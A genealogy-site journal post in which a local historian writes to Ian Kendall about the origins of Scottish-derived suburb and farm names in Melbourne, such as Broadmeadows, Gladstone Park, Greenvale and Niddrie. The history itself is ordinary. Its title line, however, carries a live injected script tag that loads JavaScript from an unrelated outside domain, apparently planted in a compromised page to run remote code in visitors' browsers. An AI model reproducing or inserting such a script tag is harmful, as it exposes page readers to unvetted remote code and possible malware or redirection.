IAN KENDALL'S SCOTTISH PLACE NAMES IN MELBOURNE.<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
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IAN KENDALL'S SCOTTISH PLACE NAMES IN MELBOURNE.

Journal by itellya

EMAIL TO IAN KENDALL.
I found your website when I was looking for something else. You've put a lot of work into it; well done!
I mainly looked at Melbourne's north west, whose history I have been researching since 1988 and the Mornington Peninsula (since August 2010) and have only commented on these. I have not worried about street names, although I might mention some in the following.

I agree completely with your origins for Arthurs Seat, Baxter, Calder Park, Campbellfield, Craigieburn (the Robbie Burns was another hotel near the Craigie Burns,shown on a survey map), Dallas, Deer Park, Flemington, Keilor (which I've seen as Keillor in some sources), Kealba, Kingston (see Graham Whitehead's City of Kingston website) McCrae, Meadow Heights, Moreland (which was leased by Michael Loeman for about 14 years before he moved onto Glenloeman on Loemans Rd near Bulla, with the result that the Moreland Rd bridge was known as Loeman's bridge), Newmarket, Rosanna, Red Hill (one of the roads leading to it is White Hill Rd) and Westgarth.

I have listed other suburbs where I doubt some of the sources or additional information might be useful.
WATSONIA. I have seen sources that attribute the name to James Watson, which seems reasonable, given the proximity to Rosanna. While on that area, Janefield owes its name to John Brock who was an early squatter near Bulla until Big Clarke got his special survey and, I think, was a Scot.

WESTMEADOWS.It was originally known as Broadmeadows Township before the railway went through Campbellfield circa 1872, giving that locality the name of East Broadmeadows; when the "East" was dropped the Township was called West Meadows. Westmeadows now includes former farmland near the township such as Kia Ora, Willowbank (many of whose street names were my suggestions) and Wattle Glen.

ABERFELDIE. James Robertson 2 of Upper Keilor is the correct origin. The source proposing a link with a Napier Estate might be correct; Thomas Napier (of Rosebank in Strathmore) might have called a squatting run by this name and his son Theodore (of Magdala in Strathmore) might have been involved in the subdivision of the West Essendon grants (originally known as Spring Hill) and suggested the name of the house for the estate. Strathmore and streets named after Rosebank and Magdala owe their origins to the Napiers. I believe a Napier was involved in the relief of Lucknow and Magdala was also involved with his exploits in India.
As far as I know, Aberfeldie has everything to do with James Robertson and nothing to do with the Napiers. If another Scottish family was involved with naming the estate, it would be far more likely to be the McCrackens, related by marriage.The reference to a Napier estate might have also resulted from confusion between Aberfeldie and Glenbervie; Grant Aldous probably described the origin of the latter name in "The Stopover That Stayed".
(By the way, there were three James Robertson families in the area: 1.Upper Keilor/Mar Lodge/ Aberfeldie; 2.La Rose/ Trinifour and 3.Gowrie Park at Campbellfield. See itellya's journal about the Robertsons on FAMILY TREE CIRCLES.)

BLAIRGOWRIE. Dr John Blair's Blairgowrie House was built by an Irish pioneer and politician named O'Grady who named it Villa Maria. When he bought the house, Blair renamed it Blairgowrie. When the estate was subdivided, it was called the Blairgowrie Estate but was described as being at Sorrento. (See page 1, Frankston and Somerville Standard, 28-3-1923.) It was not until about 1940 when the Cain family's "Tyrone" east of Canterbury Rd was subdivided that Blairgowrie appeared in the newspapers to describe a locality. Incidentally a gowrie website states that Blairgowrie means "field of goats".

BROADMEADOWS. The earliest reference to the Broadmeadows Hotel on trove was in 1855. Just about the only reference to Broadmeadows in 1850, (apart from the proclamation of a township at Broadmeadows, poor attendances at St Pauls and the calling of tenders for its manse) was a much repeated advertisement about a stallion standing at stud at Samuel Thorpe's farm. In November, 1851, Mrs Brodie, formerly of Moonee Ponds (the vast Brodie squatting run, not the suburb, but possibly Harpsdale or Dunhelen) opened a store in the township. A meeting was called by about 5 Scots about the need for a crossing at the foot of Cameron's estate at THE BROADMEADOWS. In 1852, Machell's estate AT BROADMEADOWS (actually the land bounded by Section Rd, Somerton Rd, Mickleham Rd and Swain St at Melway 178 H7-11) was advertised for sale.

The above demonstrates that BROADMEADOWS described a district which consisted of the parish of Will Will Rook, and even den Machell's grant in the parish of Yuroke, and that the hotel was named because of the district, not the other way around.

An article about Kilmore by "The Vagabond" described the 6000 acres of hay at Broadmeadows and said it was an English name. The first large area of wheat in the colony was grown at Campbellfield by John GRANT who was leasing land from the CAMPBELLS. Nearby were the CAMERONS and KENNEDYS on Glenroy,Ruthvenfield, Stoney Fields and Dundonald, the GIBBS and ROBERTSONS on Meadowbank and Gowrie Park, the McKERCHARS on Greenan and Greenvale, and they were the pioneers, SCOTS, who would have coined the apt name for the district. The place was so full of Scots that the trustees of Will Will Rook Cemetery apparently did not feel a need to have sections for denominations other than Presbyterian and John Kingshott was appointed to the school committee so it would not consist entirely of Presbyterians.Do you think that Broadmeadows was coined by Englishmen? I don't!

BURNSIDE. This suburb was named after James Burnside, a pioneer near Deer Park and a grantee in in the parish of Maribyrnong. His son's obituary was on page 1 of the 15-1-1943 issue of the Sunshine advocate; the son may have married a descendant of James Robertson of Upper Keilor.

GLADSTONE PARK. The name derives from the northern 777 acres of Gladstone Park (and the Gladstone Gardens Estate north of Lackenheath Drive on the west side of the freeway.) This was section 5 of the parish of Tullamarine, consisting of 785 acres, 8 acres probably having been lost in the making of today's Mickleham Rd. The parish map records George Russell as the grantee but he bought it for fellow Western District squatter, Niel Black. Black was agent for the firm of Stewart, Black, Gladstone etc back home. Section 5 was called "Stewarton", the same name as another of the firm's farms in the Western District. Black probably wanted section 5 as a holding paddock but it was leased 1846-1855 by Peter McCracken, who moved to his dairy farm on J.R.Murphy's Kensington Park and then to Ardmillan at Moonee Ponds.

Gladstone, a cousin of Disraeli's foe, came into ownership of Section 5 and the farm's name became Gladstone a year after John Cock succeeded John Kerr as the tenant in about 1892. The Gladstones had sold it to G.W.Taylor for 74 575 pounds in mid 1888 but regained it when Taylor could not complete payments in the bust that followed the boom, as Cannon would put it. The Gladstone family owned the property until the 1920's.

GOWANBRAE. This farm was originally named Camp Hill, a name that applied during the tenure of Eyre Evans Kenny, Brown, Lonie, Gilligan, Williamson etc. When Scott, presumably a Scot, bought the farm in the 1930's, he renamed it Gowanbrae. Malvern Ave owes its name to Sir Bruce Small who owned the property and wanted to produce his famous Malvern Star bicycles there but could not get a railway siding on the Albion-Jacana line.

GOWRIE.
Alexander Gibb leased section 5 Will Will Rook for some time and then it was purchased in two halves, each of 320 acres, in 1848. Gibb called the northern half "Meadow Bank" and James Robertson called his half Gowrie Park. Both, of course, were Scots.
Incidentally, most of Melbourne Airport's operational area (except for the Terminal building on Payne's pig farm,"Scone") are on another Gowrie Park, which is today recalled by Gowrie Park Drive at Melway 5 C5.

GREENVALE.
Even if this name was a simple description of the landscape, it was coined by a Scot, John McKerchar, for his farm name (which was renamed "The Elms" by a later owner.) Swain St, off Mickleham Rd, indicated the boundary between Dundanald and Machell's early subdivision but also indicates the boundary between the parishes of Will Will Rook and Yuroke to the north. The name of McKerchar's farm came to describe the part of Yuroke near Somerton Rd and the present school on Hughie Williamson's old "Dunvegan" carries the same number as the one started by John McKerchar on the Section Rd corner!

NIDDRIE. This was the name of Henry Brown Stevenson's farm. See his death notice on page 1 of The Argus of 5-7-1893. The Morgans kept the name when they bought it in (1906?) and owned it for many years. The farm was bounded by the Orange Gr/Bowes Ave midline, the King/Fraser St midline, Nomad-Treadwell Rd and Keilor Rd.

Hadfield should be called Fawkner, but the grantee's named travelled to a nearby area and in the same way, the name of the Stevenson/ Morgan farm travelled south of Keilor Rd. It is possible that Niddrie was named by the grantee, Thomas Napier of Rosebank.

ROXBURGH PARK.
The association with Brunton is correct; he probably did not find the Cameron name of Stoney Field (as in the rate records) very appealing. It was not known as Ruthvenfield; this Cameron property is today bisected by Blair St, east of the railway line.

ST KILDA. I have read that the suburb was named after a yacht owned by the family of Big Clarke; this was one of the theories.I had a pleasure craft in mind but a working yacht makes sense because W.J.T. had little time for pleasure and other pursuits that didn't make money (except the girlies!)

STRATHMORE. See Bruce Barber's Strathmore website. There could be a connection with the Queen Mother but I have seen no mention of this. I quote from page 165 of "Broadmeadows: A Forgotten History". "It was not until 1943 that the (North Essendon and South Broadmeadows) Progress Association submitted "Strathmore" (a Scottish name associated with the Napier family) to the Broadmeadows Shire Council." No source is given but I suspect that Andrew Lemon had seen the correspondence. I don't think the progress association would have been aware of any connection between the name and the Queen Mother.

BELL.
It must be 20 years since I read Richard Broome's "Between Two Creeks" the history of Coburg. But I distinctly remember Bell Manor!

FINGAL.
Fingal is a parish south of Limestone Rd and south of the parishes of Wannaeue and Nepean, which are separated by Government-Weeroona Rd. Most parish names have aboriginal origins so Fingal and Nepean are unusual. Parish names would have been decided by surveyors or the Lands Department, whose boss was James Grant, presumably a Scot, at the time Fingal was surveyed.Fingal is Irish for foreign tribe according to wikipedia, and if my recollection is correct the Scots were from Ireland, making them a foreign tribe.

MERLYNSTON. I'm sure Richard Broome discussed the name's origin.

OLIVERS HILL. This was originally known as Old Man Davey's Hill.

by itellya Profile | Research | Contact | Subscribe | Block this user
on 2012-02-04 11:03:51

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

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